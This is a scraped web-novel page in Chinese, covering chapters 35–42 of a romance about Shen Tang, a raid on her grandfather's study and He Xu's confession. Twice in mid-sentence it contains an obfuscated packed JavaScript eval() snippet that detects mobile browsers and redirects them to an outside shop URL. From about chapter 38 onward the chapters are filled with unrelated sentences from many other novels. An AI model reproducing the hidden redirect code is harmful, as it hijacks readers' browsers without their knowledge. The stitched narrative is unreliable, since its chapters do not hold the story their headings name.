有两个沈奶奶家的亲戚、沈母外家、三个嫂嫂家,还有二婶家的亲戚,唯有沈家的亲戚最少。 沈棠看着嘈杂的沈家,不知为何,总感觉有些心慌。 她刚走上二楼,想再去老爷子的书房看一眼,却被陆宴州叫住了。 “棠棠,有些事情,沈爷爷自有安排,你今天只管招待客人就好。” 陆宴州显然是知道沈棠要做什么,但有些事情,他不能明着跟沈棠说。 沈棠已经被罚过一次,如果这次被抓到,只怕老爷子会下狠心。 “可是……” 陆宴州打断她的话:“你要相信沈爷爷这么多年的经历,是绝对不会轻易被人算计的。” 沈棠无奈下了楼,看着一屋子的亲戚,还有不少人想给她介绍对象。 她尴尬的脚都能抠出三室一厅了。 应付了几句,沈棠迫不及待的跑出来了门。 不知不觉,就走到了贺家,司机小王还给她打开了门。 贺旭站在阳台上看她,手腕上的手表映着阳光,折射出绚丽的色彩。 他点了根烟,肆意笑着:“怎么,又有什么事需要我帮忙?” 沈棠也顾得什么面子不面子了,立马跑进了二楼。 红色的长裙如一朵盛开的玫瑰,如飞蛾般往他怀里扑过来。 贺旭眼神越发深沉,点着的烟随手按灭。 小姑娘一口气跑上来,微微喘着气:“那个……贺爷爷不在家?“ “去医院了。” 沈棠想起昨天这男人的狠厉样子,停住这个话题:“贺大哥,你能不能帮我个忙?” 贺旭挑了挑眉:“怎么不去找你陆大哥?” 陆宴州现在根本不相信她说的话,还百般阻止她进爷爷书房。 当然了,爷爷书房里的钥匙也被他随身带着,一点机会都没给她。 沈棠捏住他一点衣袖,可怜巴巴的望着他:“贺大哥~” 红色布拉裙掐的她腰细腿长,胸口鼓囊,唇色诱人,偏她还故作可怜,楚楚动人,声音软绵的叫人心尖都软了。 贺旭低头扫了一眼,黑眸微深:“帮你可以,但我有个条件。” …… 这年头不能放鞭炮,沈老爷子的大寿也就是大家坐在一起吃个饭。 正当屋内的人谈笑着,大门忽然被人用力推开。 为首的人中年面貌,身高不过一米七,衣服简朴,头发梳过油,戴着眼睛,看起来派头很大。 身后还跟着六七个佩戴着红袖章的男人。 “呦,吃着呢,那可真是打扰了。” 郑先业的儿子郑霖还在监狱里坐着牢,他对沈家痛恨不已,这一次终于可以把沈家整下台,他已经按耐不住心中的兴奋了。 “郑先业,你这是在做什么,老头子我就算退休了,也轮不到你来羞辱!” 沈老爷子站起身来,神情威严怒目,叫人不敢直视。 郑先业对沈老爷子打心底里没有尊敬,可面上却不得不尊敬几分。 沈家和贺家不一样。 贺家在民国时期便是世家大族,到了贺老爷子一代才真正随着时代落魄下来,因捐赠了大量钱财给国家,又懂的审时度势,才会到现在也没人敢动。 沈家祖上是清贵人家,大多子弟都是读书人。 只可惜大部分沈家人都牺牲在了那个时代。 有死在倭寇手里的,也有在炮火中丧生的,更有至今无法透漏姓名的烈士。 沈家从满门清贵,到现在就剩下老爷子这一脉了。 沈老子弃笔从戎,因着性子直,得罪的人也多,可愿意保他的更多。 郑先业知道今天沈家就要完蛋了,但事情还没有定论之前,他对上沈老爷子,也只有低头的份。 “沈老爷子您别生气,我呢,接到一份举报,说是你们家一直有跟海外人员接触,我查了您这些年收到的信件以及电话,其中确实有两通电话来自海外。 老爷子您也知道,您那个侄儿沈琮可一直在海外研究机构工作,我也是怕您做出什么不理智的事,收到举报后,就立即上报了。 这是搜查令,还请老爷子过目。” 沈老爷子看到他手上拿张被批准的搜查令,拿着拐杖用力震了下,怒气甚威:“郑主任好大的官威,我老了,但我不蠢,区区两个电话,你便来搜查我沈家?” 郑先业笑容嘲讽:“老爷子,我敬你一分,您也别太得寸进尺了,我今天敢来搜,必然是得了一些证据,您若是不服,大可以上报。” 沈老爷子:“呵?证据,像你们这样的人还需要证据?只怕没有证据也要弄出证据来!” 郑先业明 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“上面有令必须搜查到底,老爷子还是打开一下吧,您这么年纪了,我可不想动粗。” 沈老爷子冷笑了两声:“好啊,老头子我好多年不曾动手,倒是真想看看现在的人有几分本事?” 郑先业和沈老爷子僵持了两秒,到底是不敢真的动手,率先底下头来。 他压着气道:“老爷子,今天这书房是非搜不可,您要是不肯,那我可是上报了!” 沈老爷子冷哼了声,缓和了下情绪,这才不情不愿的打开书房。 一群人冲进去翻了个底朝天,愣是没有翻出任何东西。 郑先业信心十足的翻找了半天,终于摸到了桌子里的暗扣,一个盒子从柜子里面掉了出来。 沈棠瞳孔一缩,她说为什么自己找了半天都找不到东西呢,合着这桌子里面还暗藏了一层。 郑先业冲着沈老爷子笑了笑,打开一看,里面放着几份文件。 “沈老爷子,这文件放的这么保密,不知道里面内容是什么?” 沈老爷子脸色阴沉:“郑先业,别怪我没提醒你,这文件可不是你能看的,今天你要是敢翻看了这份文件,后果老头子我一概不承担。” 第36章 调查组来了 郑先业只当他在吓唬他,不过就是个退休的老头子,能有多少机密? 他毫不犹豫的翻开,只看了开头,吓的手一抖,直接将文件合上了。 沈老爷子哼了声:“我该提醒的也提醒了,郑主任不肯听,那老头子我只能怀疑你是特务分子了,打着搜查的名义,将我国重要文件传递出去,你自己跟调查组解释吧!” 郑先业也不知道怎么回事,他心慌的不行。 上面明明不是这样说的啊! 他又去搜查了沈老爷子的房间,什么也没发现后,只能先让众人收了手。 刚准备离开,就看到几个调查组的人朝他们走来。 郑先业以为是沈老爷子举报,顿时紧张起来:“沈副司令,我是带了搜查令过来的,我真是不是特务……” 沈老爷子也是惊讶了下,他话是那么说,可没有真的联系调查组。 倒不是没想过,只不过时间来不及。 他手里的人又被盯的紧,不能轻举妄动,生怕被人发现他换了里面的东西。 这调查组的人怎么会来? “谁是郑先业?”为首的人朝众人询问。 众人的目光瞬间看向郑先业。 调查组队长出示逮捕令:“郑先业,你涉嫌盗窃国家机密文件,请跟我们走一趟吧。” 沈老爷子眼睁睁的看着郑先业被抓走,摸着胡子一脸疑惑。 这到底怎么回事? 他侧头一扫,目光在低着头憋笑的沈棠和眼神躲避的贺旭身上停下。 好似一切都有了答案。 感情他随口一说的话,还成真了? 晚上,沈棠还在想为什么书房里没有搜出那些证据。 她避开沈父沈母,悄悄敲了敲老爷子的房间。 沈老爷子说了声进来,转头看到她,摇头轻笑:“你来干什么?” 沈棠捧着自己买的三个古董递给爷爷,笑容甜美:“爷爷,这是我送你的礼物。” 沈老爷子是真喜欢古董,一看到那青纹花瓶,开心的嘴都合不拢了。 “不错啊,是贺家那小子带你去吧的?” 沈棠点点头,犹豫了半天,又不知道怎么问今天发生的事。 沈老爷子敲了敲她脑袋:“今天这事咱们还得感谢人家陆宴州,他提醒我,既然家里能被梁季风放上那一盒子东西,说不定其他地方也能被放。 但我书房除了你也没人进,老头子我想了半天,忽然想起来我那个桌子是几个月前订做的,说不定被人动了手脚。 昨夜里,我和小陆把桌子翻了个底朝天,才终于翻出了藏在暗格里东西。” 沈棠:“那里面的文件……” “我放进去的,是保密文件,不过完成的差不多了,但对付郑先业足够了。” 沈棠放下一块大石,心情美滋滋。 正要开心的回房间睡觉,就听爷爷忽然问了她一句:“你觉得小陆如何?” 沈棠一时没反应过来,嘴比脑子还快的接了句:“陆大哥人很好啊。” “那要是让你和他谈对象……” “咳咳咳……”沈棠连忙摆手:“不不不,我不是那个意思。” 沈爷子胡子一吹,眼睛一瞪:“怎么,你难道嫌弃人家?” 沈棠:“那肯定没有,但是、但是我还小呢。” 沈老爷子叹气:“沈家这情形你也看到了,你爸妈也即将调去北边,爷爷虽然还在京城,但也不能像你爸妈一样照看你,你要是尽快成家,我们也能放心。 其实小陆这孩子人真的不错,有责任心,长得也端正,我问你过你爸妈的意思,要是你俩在一起,我们都没意见。” 沈棠没想到自己十八岁就被催婚了。 她赶忙打断爷爷的话:“婚事以后再说,我过两天就要回部队了,在家里还是多陪陪你们吧。” 沈老爷子看着懂事的沈棠,心里叹慰。 他一直觉得沈棠这孩子越长大越蠢,被人骗了也不敢说出来,简直不像他儿子的种。 去了一趟部队,回来明显成熟了些,连小时候的机灵也回来了。 可见人还是宠的太娇,总得让她多历练才能成长。 要是她还是以往那个轻易就被怂恿的沈棠,沈老爷子指定要在沈家出事后让她尽快成婚,免得被人给害了。 但现在看到沈棠又孝顺听话,机灵又乖巧,沈老爷子觉得,孙女自有孙女福,他还是顺其自然吧。 这件事过后,沈棠也准备买票回部队了。 不过回去之前还得问问贺旭回不回去。 如果贺旭还有假休,那她就和陆宴州一起回部队了。 第二天,她还没去到贺旭家,就被隔壁一阵闹吵声震醒。 透过窗户一瞧,原来是贺旭的后妈和贺爸来了。 她穿好衣服下了楼,又被老爷子告知她回去的票买好了。 去到隔壁,沈棠发现大院不少人都围在外面,里三层外三层,全是看热闹的。 也是,这年头八卦是人们主要娱乐。 她仗着身形小挤了进去,这才发现不仅仅是贺旭的后妈亲爸,还有不少贺家人也来了。 甚至连 贺胜男、江思遥也在。 “爸,这个逆子把贺期打成这样,你还要护着他?” 贺峥面色狰狞,恨不得冲过去掐死贺旭。 贺老爷子拄着拐杖站在院子里,昨天他已经去过医院了,贺期被打的凄惨,连腿都骨折了,他也是没想到贺旭出手会这么狠。 但自己养的孙子自己还是清楚的。 要不是贺期做了什么事让贺旭生气,贺旭也不会这么不留情面。 老爷子前半生是个大少爷,后半生历经沧桑,最大的心愿便是有人能够支撑起整个家族,全家能够和和睦睦。 奈何他几个子嗣都不着调,孙子更是仗着他的身份在外作威作福。 只有贺旭,从小和匹狼似的,睚眦必报,又聪明至极。 “你怎么知道是贺旭打的,贺期的性子你也不是不知道,得罪的人还少吗?从小到大出了点事就往贺旭身上推,你这个做父亲的也不调查清楚,随意将罪名扣在自己儿子身上,我看你是真的和这蠢妇一模一样!” 老爷子是不会让贺旭背上这种殴打亲哥的污点的。 他看不上张氏,更看不上贺期这个私生子。 最看不上的还是贺峥这个没担当的。 当年贺峥算是矮个里拔高,勉强符合他的期望,故而他一直对他要求很高,强势的将他的未来规划好。 给他议亲的时候,他知道张氏的存在,也将张氏懦弱的性子告诉过他,这个姑娘并不适合嫁进贺家。 尤其是对方家里一团糟,张氏还是个妥妥的扶弟魔。 贺峥也是同意让张氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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当年贺峥算是矮个里拔高,勉强符合他的期望,故而他一直对他要求很高,强势的将他的未来规划好。 给他议亲的时候,他知道张氏的存在,也将张氏懦弱的性子告诉过他,这个姑娘并不适合嫁进贺家。 尤其是对方家里一团糟,张氏还是个妥妥的扶弟魔。 贺峥也是同意让张氏走,娶贺峥的母亲方氏。 结果两人瞒着他婚前苟且,还让张氏怀着孩子嫁给了一个喜欢她的老实人。 没过三年,那老实人因为车间机器发生故障而死。 张氏带着儿子上门闹了一通,把孩子的事也扯了出来。 那时候贺旭的母亲方氏性子有些强势,但对贺峥一见钟情后也是软着性子和他相处的,两人可以说互相欣赏,互相爱慕,过了一段还算美好的日子。 被张氏这么一闹,方氏所有的体面和尊严都被踩到了地上。 尤其是贺峥在感情的事上犹犹豫豫,导致方氏性子大变,这才做了不少让人厌恶的事。 两人之间的关系也彻底破碎。 火速离婚后,贺峥就迫不及待将张氏迎进了门。 方氏也调职离开京城,后来重生嫁人。 而贺旭则成了没人要的孩子。 第37章 贺旭表白 “贺期亲口说的还有错?爸,贺期也是你的孙子……” “闭嘴!” 贺老爷子体面了一辈子,唯有这件事让他梗着喉咙里咽不下吐不出,提起来就恨不得抄鞭子狠狠抽打贺峥一顿。 “带着你老婆给我滚出院子,老头子我一把年纪了还不至于分不清谁才是我孙子,给我滚,贺期被你们宠的无法无天,他有今天也是他的报应!” 贺峥满眼怨恨的刮着贺旭。 后者却勾着唇,笑的肆无忌惮,把他气的一口气差点没上来。 “凭什么?凭什么!” 贺峥赤红着双眼死死盯着贺老头子:“你不让我说,我偏要说,贺期是我亲儿子,也是你亲孙子,他被人打断了腿,凭什么我这个做父亲的还不能为他讨个公道!” 贺家有不少人知道这件事,但像贺胜男这一辈的却根本不知道贺期也是贺家的孩子。 他们还以为贺峥格外疼爱贺期,只是因为爱屋及乌而已。 这下子,刚刚还在看戏的众人看张氏的眼神都变了。 张氏还在哭,冷不丁听到自己老公把这个大雷爆了出来,懵的一下连哭都忘了。 贺老爷子脸色铁青:“谁知道贺期是谁的种,就算改名了也不是我贺家的种!” 贺峥还要说话,被老爷子打断:“你还有一个做父亲的样吗? 贺期被打成这样,你怎么不查一查他到底做了什么伤天害理之事? 别以为我不知道,他在学校霸凌同学,把人逼的差点自尽,出了学校,又在工厂抢夺他人的功劳,这样的人,得罪的人多了去了,谁知道他又做了什么事!” 贺峥大吼一声:“爸!” 贺老爷子:“赶紧滚,老头子我早就把你们赶出贺家了,以后不许在进大院,我没你这个儿子。” 贺峥气的发疯,却也只能无能狂怒。 最后连张氏都顾不上,气冲冲的直接走了。 贺家人也不敢在这里停留,生怕老爷子的气撒到他们身上。 他们来这一趟,主要目的是为了探探老爷子的态度。 贺家当年将所有财产都捐给了国家,可是谁又知道贺老爷子会不会有私藏? 三房的财产早就分完了,老爷子突然叫贺旭回来,指不定就是想把手里的东西给他。 谁都知道,贺老爷子当年最疼爱的便是贺峥,现在最疼爱的是贺旭。 两人之间的矛盾越闹越大。 贺老爷子只要偏向贺峥一分,他们就能将老爷子口中的东西掏出来。 偏偏老爷子为了个贺旭,三房一整房都不要了,这样的老爷子让他们忌惮,也嫉妒,更觉得难办。 贺旭可要比贺峥难对付多了。 众人走后,贺老爷子也没给贺旭好脸色。 “真是出息了,跪院子里去,没我的吩咐,不许起来。” 警卫员小王试图说情:“将军,贺旭身上还有伤呢。” 贺老爷子怒道:“要不是顾及他身上有伤,我非得用鞭子抽死他!” 贺旭没说什么,目光和沈棠对视了一眼,便低头跪在了院子里。 沈棠走到他身边,蹲了下来。 小姑娘眼里不像是在看戏,小小的一团蹲在他面前可可爱爱的。 贺旭挑眉,笑的痞气:“看着我做什么?没见过这么大的人被罚跪?” 沈棠把还有些红肿的手举到他面前:“我是在想,咱们俩可真倒霉。” 贺旭刚刚还些郁闷的情绪瞬间消散了。 他没忍住笑出声,那笑意像是从胸腔里散发而出,听的沈棠莫名其妙。 “笑什么?” 贺旭摇摇头:“没什么,等跪完,我去买票,咱们明天出发回部队吧。” 沈棠不好意思道:“你的假期应该还有一段时间,我的票爷爷已经帮我买好了,后天早上就出发。” 贺旭眼底的神色淡了下来:“和陆宴州?” 沈棠:“昂~” 贺旭脸色更冷了:“你很高兴?” 沈棠心虚低头:“……也没那么高兴吧。” 下个月可有的忙呢。 “话说你为什么要打贺期?” 贺旭声音冷淡:“没什么,他喜欢江思遥,看不惯我,想在我院子外面纵火,被我阻止后打了一顿而已。” “我去,可真刑啊!那你怎么不告诉贺爷爷?” 贺旭深叹了一口气,压低声音:“你当老头子真不疼贺峥啊?贺期再怎么说也是贺家人,老头子不会让他坐牢的。” 沈棠不理解像老爷子这样世家子弟出身的人,到底是怎么样想的,也许是为了家族面子,也许是怕影响其他人。 反正她觉得这样放纵贺期不行。 问了问贺旭,后者抬起长睫朝她看来,身后将她鬓角的发丝挽到而后。 “你放心,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211106|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头这一次看清楚了,不会再放任了。” 沈棠被他的动作的弄的一愣,随即往后蹦了一步。 贺旭这人是个中央空调啊,不是说不喜欢她吗?怎么还做出这样暧昧的动作? 她看贺旭的眼神,就像是看渣男一样。 贺旭:“……” “ 你之前说的话……我还可以当真吗?” 沈棠眼睛飘忽:“什么话?我什么也没说。” 贺旭气笑了:“别跟老子贫,我问的就是你之前表白我的事。” 沈棠脸一下就红了,又羞又气的。 狗男人仗着有副好身材就勾引她,嘴巴怎么这么毒舌,她有点后悔看上这么个人了。 但贺旭可不想给她后悔的机会。 他夜夜做梦梦到她,心里总忍不住想她。 他知道自己就是喜欢上了这个怂包,哪怕明明知道这姑娘就是看上了他的脸和身材。 他依旧愿意为此清醒的沉沦下去。 甚至故意装柔弱博取她的怜悯。 他嫉妒她和陆宴州走在一起,嫉妒她未来会有别人。 贺旭纠结过,也想过远离她,可他无法控制自己的心走向她。 也无法控制住自己奔向她后,那种喜悦和欢快。 他喜欢和她在一起。 每每想到以后会和她在一起一辈子,生儿育女,白头偕老,他就是会控制不住的开心。 他在这件事上犹豫太久,直到那天她明明离开,又担心他而跑回来。 他的心彻底沦陷。 所以贺旭不在纠结,他目光灼灼的盯着她:“沈棠,我喜欢你,很喜欢。” 沈棠内心的小人儿唰的一下变红了。 激动的上窜下跳! 贺旭一米九的身姿板正如松柏,五官硬朗帅气,性子桀骜不训痞气十足,温柔时黑眸里仿佛只看得到她一人。 这样姿色的人竟然跟她一个普普通通的姑娘表白了! 谁吃的这么好? 哦,是我呀! 她捧着羞涩的小红脸:“虽然但是……我觉得这不是个好表白的地方,你还跪着呢。” 贺旭的笑一下子就僵在了脸上。 他气笑了,从牙缝里挤出两个字:“沈棠!” 沈棠吓的“啪叽”一下坐到了地上。 贺嗤笑:“怂包!” 他的。 第一卷 第38章 约会 贺旭一直跪到晚上,贺老爷子才让他起来。 客厅里灯火通明,老爷子握着拐杖,眉头紧锁起来的褶皱清晰可见。 “跪了一天,可反省了?” 贺旭:“没有。” 追兵到是再也没出现过了,可能是赵高忙于奔回咸阳扶胡亥登位,也就不理会赢可这只漏网之鱼。等胡亥坐稳了皇位,那时候就算赢可向天下人公布胡亥的皇位得来不正,也无济于事。 百里傲风恨恨的瞪着前方,转过去,面无表情的看向韩烟,却在韩烟倒下时,飞身上前,将她虚弱的身子接在怀里,紧紧的抱着,不说一句话。 没有犹豫,就在老者的话音刚刚落下的时候,只见他手中的天苍枪如同像是有着自己的意识一般,直如像是一头狂龙,霸气凌然的朝陆明吞噬过来。 接着,被‘南离紫焰’重伤之后,大难不死,无意之中结缘修仙界最为神秘的‘幽冥谷’,从钱俊豪口中得知,关于全族上下被灭‘门’的一点线索,让秦逸有了追踪的头绪。 “我在来云之界之前,曾到过风之界,那里刚刚经历了一场乱战。”火彤避重就轻道。 看着倒在地上的智宇,李菲菲的笑容更浓了许多,一手托着韩凝,摇摇晃晃的向智宇挪了几步,半低着头,目不转睛的盯着智宇白晰而温柔的脸庞,就那样盯着,仿佛就可以感觉不到痛苦。 那种大家闺秀的典雅之美,或许韩凝一辈子也没有,可是,她现在的美,韩烟也是一辈子也修练不出来的。 墨纪闻言扭身把枕头捞起,后退了两步,别扭着把枕头交到她手上。 “是,爹。”春儿的声音非常的细和轻,她贴着黛娘的身子,两人一并出堂,大嫂也就拉了夜凰的手,一起退了出去。 没有救护车,没有人民医院,就连挂吊瓶的地方都没,只能眼睁睁的看着老娘离开自己。 阿宾笑了笑,摇了摇头,突然包厢的门又被打开了,胡军走了进来,看了看我和阿宾。 房间里四周摆了几张不锈钢工作台,还有水池药品柜之类的东西,房间正中放着两不锈钢张解剖台。每一张解剖台上都躺着一具漆黑的干尸。 后来梁姐说,实在不行,就把责任全都推到已经被开除的邵仁杰身上吧,反正他也不能再回来了,而且没有对证,当时也是邵仁杰出面解决的这件事。 饶是扬忠身穿蛇甲,不怕子弹穿透,但巨大的冲击力也好似一记记重拳打在身上一般。就像是身穿防弹衣中枪一样,一两枪没事,被打的多了也受伤,甚至内脏震裂大出血而亡。 关心瞳紧紧的咬着唇,无奈脸上的温度因为他喷洒出的气息而陡然升高。 曲艺对于她不能来夜店和我们一起庆祝感到遗憾,不过她也说了,会在自己的房间,偷偷的开瓶红酒。 “所以,我想,当务之急,就是在保卫力量上予以加强,我会立即调人过来。”夕曦肃然道。 他在送刘涛下来取车时,正好意外的看到了金酷和宁夏,心中对于两人没有半分好感的他,正准备不加理会的,没想到接下来让他看到了这怒火中烧的一幕。 第一卷 第39章 确认关系 “大清早的,也不嫌冷。” 沈棠低头笑了笑,坐上自行车后座,小手扯着他的白衬衫:“去哪玩?” 她还没有答应贺旭的表白。 谁让他之前两次都拒绝了她呢。 “去见一个重要的人……”音落,一抹温和的笑容在景墨轩的嘴角荡漾开来。 “赵大哥和若晴又是怎么回事?他们怎么会去了熊城?”第八联邦熊城离龙城不近,我怎么也想不通他们怎么会到了那里。 在他们看来袭击营地其实最多就是拖延时间,死亡是迟早的事情却没有想到这自称为随风的家伙竟然在危急时刻救下了暗香,不过也不知道这到底是福是祸?毕竟他们的情况可以说除非有奇迹,否则大罗神仙难救! 回到别墅后,千若若已经睡下。景墨轩脱下外套,修长的身躯直接压在熟睡的千若若的身上。 “韩大哥,你为什么是巨鹿城的军团长?”众人刚落座,我就道出了心底的疑问,那些监狱守卫称呼韩旭军团长,想破了脑袋我也没有想出原因,既然他是巨鹿城的军团长,那为什么不早点把温政标救出去? 楚泠风惊叹不已,难道自己温婉的师妹又回来了?可下一秒他就在心里给了自己一巴掌。 两人之间的寂静被打破。韩水儿诧异回头,没有料到洛尧瑶和林瀚宇会出现在这里。这么危险的情况,林瀚宇怎么会让洛尧瑶一起来呢? 曹日奔他们见到对方想动手,纷纷拿出枪械把枪口对准了他们,这些自由民没想到我们队伍竟然有这么多的枪械,纷纷惊呼着退缩到了一块。 “那你可以让你手下的李骁去调查一下,不过在中午之前恐怕是查不出来。”景墨轩扬扬嘴角,不紧不慢地喝着红茶。 而且商梦琪知道,邱少泽这种心型的转变完全是因为项问天的到来才改变的。 就在她惚出神之际,电梯打开了。宝贝呆若木鸡走进去,鬼使神差不晓得按了哪个数字,便关上了门。 “这倒是,大伯娘不过出身少府监监事家,还能嫁到我们李家呢!”李金蕊斜着刘夫人,一句话堵了回去。 那件事,何止是白忆雪不想记起来。这个家里面知道的人,都不愿意记起来。 不得不说这个世界的游戏要比之前的世界要好得多,科技提升了,游戏的可玩性也提升了不少,在吉米那里王凯就已经感受过。 “咳咳……”他卷缩着轻声咳嗽,盯着地板,明亮的大理石映着他狼狈的模样。 知他刚刚脱困,估计有不少事要处理,夏阳也没多加浪费时间,让他安排一切,收拾好要携带的东西,三天之后随他返回中原,便离开地宫,带着铁狂屠先行回到了楼船之上。 李勇俊早已被甜宝剥光了衣服,身上只穿着一条内裤,感受到腰间一抹凉意,连忙摇了摇头。 “姑娘也真是的,家里明明有现成的朝报,还非要外头再买一份回来看,还能有什么两样不成!”沈嬷嬷从怀里取了筒纸卷递过去,故意大声报怨道。 王凯说道,王凯可是知道托尼是要推迟多长时间才回来这里,所以就特别晚了一个多钟头才来。 第一卷 第40章 亲吻 有个婶子看到沈棠,疑惑问:“沈妹子,不是你带着何秋去的部队吗?那你知道何秋所在部队的地址吗?” 楚昊天一听那是一百个不愿意,这家伙比当初的邪天还惨,如果刚刚血契就嗝屁了,某人不就亏大了。 治愈现在的我,如果要发展,那就必须找一个有名儿的人干一架,本来是想找龙三的,可现在太子往上撞,我自然不会客气什么了。 那只魔转身一脸莫名其妙地看着蓝晶儿,而蓝晶儿也瞬间一个转身,抬头一看,眼神正好和那只魔对上。 对于赵牧的想法,直播间的观众们纷纷附和,很是期待赵牧所说的不同的直播。 现在这里确实是很适合修炼,难道,这里很早以前就已经堕仙横行了? 当时,蓝晶儿脑子里都是混乱的,在混乱中,它听见那些妖说了些什么。 艾丽眉心立目猛然睁开,万花幻瞳,瞳目之中犹如无尽黑洞,李敏目光在看到立目后慢慢涣散,她的灵魂立刻被吸入立目无尽黑洞中,艾丽的气息又暴涨。 如果没有别的人,只有金元宝、米有福以及张筱弛三人的话,在金元宝有意地引导下,没准这两人会吵得不亦乐乎,然后就你侬我侬的,双双把家还。 而且,在他的眼里认为,我和大伟他们不过比他们大几岁而已,虽然有了名气,但根本没有像水吹彪那样的江湖大哥气势。 最后一件事,也是最重要的一件事,那就是看看黑墨希不希望和自己一起出去。 那个时候学校应该还没有这种禁止开除学生的规定,对于那些实在不好管理的学生,学校还是有权利做出开除的决定的。 祁泰民可不知道这些,听闻霍思傲的话,他也不由得陷入了沉思,开始的时候,他并不知道,吴家居然和傲家有关系,可霍思傲这么一说,他也开始有些隐隐的后怕。 可这个时候已然来不及了,只见杨帆嘴角高高挑起,他的身体还在空中便迅速的拔出一把飞刀抖手射向傲冷。 今日韩林儿是比任何人都先到的军营,他到的时候军营里只有那些巡逻的士兵一队队的穿梭在营帐之间。 既然是京城的员外,家中自然很有钱,跟朝廷中的大臣,也多少有点儿关系。 王晨不由的双目大睁,明明第一眼看这石像时,除了黑袍什么都没有,此刻,又怎么会露出一柄利斧? 牧清无暇顾及损伤的汐月剑,他挥剑刺入东方白右侧肋部,一拧一转,挑断东方白十几根肋骨,然后向右上方撩挑,又斩断东方白右臂。东方白惨叫一声,昏死过去。 之后杨风才知道,在杨家甚至在杨家交好或有仇的家族之中已经流传出了一组照片,正是他杨风被打成猪头,哭着下跪,狼狈求饶的照片。 还未等贺宗哲话说完,只见一个士兵就已经跑到树林下,从马上溜下来,直接瘫睡在地上,其他士兵也都纷纷走到树林下,下马,横七竖八的睡在了地上。 伽蓝这番话倒是没说假话,范瞻所学虽然和始祖炎龙术有所区别,但是万般法术万变不离其宗,道理都是互通的。 第一卷 第41章 回部队 翌日清晨,沈棠收拾好行李准备和陆宴州回部队。 沈父开着车将她送到火车站。 下了车,沈父交代了她几句,想了想,又将手里那点钱塞进了她的手里。 脚步一辍,秦一白已飞身向前路飞奔而去。一边跑,他一边放出神识试图联系潜在此地的本源星魂,只是在这里,他的神识被束缚得更加厉害,仅仅能探出几里地远近,想来这也可能是本源星魂的自保之法吧。 “要死的畜生,何必留名!”江筑英却不等他说完,一枪戳了过去。 踏着同伴的尸体,索伦军队顶着城头上的箭雨和偶尔飞出的飞石,保持着前进的速度,缓慢而坚定地向城墙下靠了过去。 我跟在南承曜身后,咬牙对着眼前这个眉目冷硬的老者跪了下去。 张入云这一番说出口,难得那醉汉吃了一惊,只是再一番打量张入云举止,又见他目光清澈,知其不是在说慌,一时上也就不在言语。 风无情的脚,狠狠的踩在三目犬的狗头之上,不去理会四周旁人的无语目光。 风鬟雾鬓,威颜仙姿,那杜如吟生的的确倾城倾国我见犹怜,就连庆妃娘娘和滟儿在她面前,只怕也要逊色三分。 随即他就放下了心思,开始认真观察起来,这个时候霍成功正驾驶着机甲,依旧在进行着难度15的基本训练,国防预备役学习,第一周都是基本操作,第二周开始才会涉及到其余操作,霍成功依旧一丝不苟。 刚刚发生在他身边的那一幕,他很明显是看到了的,只是有点不敢相信自己的眼睛罢了。 他面色似乎平静,但眉宇之中浮现着一层怒气,而他开口就直奔主题。 静茹这么想着的时候,心里不禁自嘲和自责起来:这怎么像是脚踩两只船呢? 接下来的时间,他把修炼时间一分为二,一半开通灵脉,一半修炼灵法。 就在大家都以为这件事儿就这样了结之际,突然正厅的门被推开,林如海黑着一张脸就迈步进来了。 别的不说,一个在去年就已经感知到身体变化的变异之人,她对灵气这种东西的友好度,是真的强到了一定程度了。 甄甄获得内部消息,告诉赵成龙说犯罪嫌疑人是穿着该嗒嗒代驾公司的代驾服进入办公区的,是一名代驾司机。甄甄的电话,提醒了赵成龙,哑炮儿还有一封信让他转交甄甄。 “你管她去不去的,反正能做的下来就做,做不来就算。”倪旭臻不耐烦了。 这并非纯然是因为有灵气加身,他觉得那些事情对自己没有半分威胁,更大程度上,其实是因为心理的苍老。 五个洞天境一重天强者直接瞬间喷血而亡,临死之前,他们都没有想到他们会被吕布的气势直接活活震死。 既然就连琼玉那种身份,都能够让她在这里安心地等,这老和尚想必也不是常人,对待这种大师,自然也不能够按照常理来推断。 不过梦魇虽然强大,但是秦云宗等绝顶高手也不是吃素的,他们通过四人的配合,与梦魇的斗了个旗鼓相当。 李清应了,带上贺仪便朝章仇兼琼府而去,下级给上司拜年,自古便是传统,新一年的仕途虽不会因拜一次年就会变的坦顺,但若不去拜年,那今年的仕途肯定不会坦顺。 第一卷 第42章 方红花:这个蠢蛋! 到了中午,陆宴州打了饭菜回来。 沈棠打开那盘红烧肉,让他一起过来吃。 至于贺旭自己亲手做的那盘包子,她不准备和人分享。 “老大,你是不是脑袋灌水了,别人求之不得的机会你还推山阻四。”天风骂道。 他们是正直,眼睛里揉不得沙子,但是他们不傻,不会因为李泰上门,就成了李泰手里的枪。 王贵福答应一声出去忙,于大勇在运机车间和方金山一直聊到下班。 梁辰心里非常明白,或许那些人都喜欢沽名钓誉,但这些虚名,有个屁用。所谓树大招风,这一点,是梁辰的座右铭,俗话说低调才是王道。 下次一定注意,下次一定注意!姚世飞虽然有点不舍,也知道进退,嘻嘻哈哈跟着出门。 林杰不仅一乐,眼睛却直直的看着旁边的李大壮,对他不停的眨眼睛,示意着什么。 很突兀的,基本上没有任何的征兆,一直假寐的方彩铃忽然冒出来这么一句话,让原本稳稳开车的林杰,也是神色一怔。 梁辰没好气的瞪了陈大千一眼,自顾自的下了车,直奔张氏公馆的大门。 “不,不……怎么会这样……”身处净化魔莲之中的陆灵火已然悲泣痛苦了起来。 龙飞不解的问道,因为按照秦宇的话来说,只要黑鹰组织广发能量石,让成员都借助能量石的功效,岂不是可以让一名普通的成员,都可以变成一个高手。 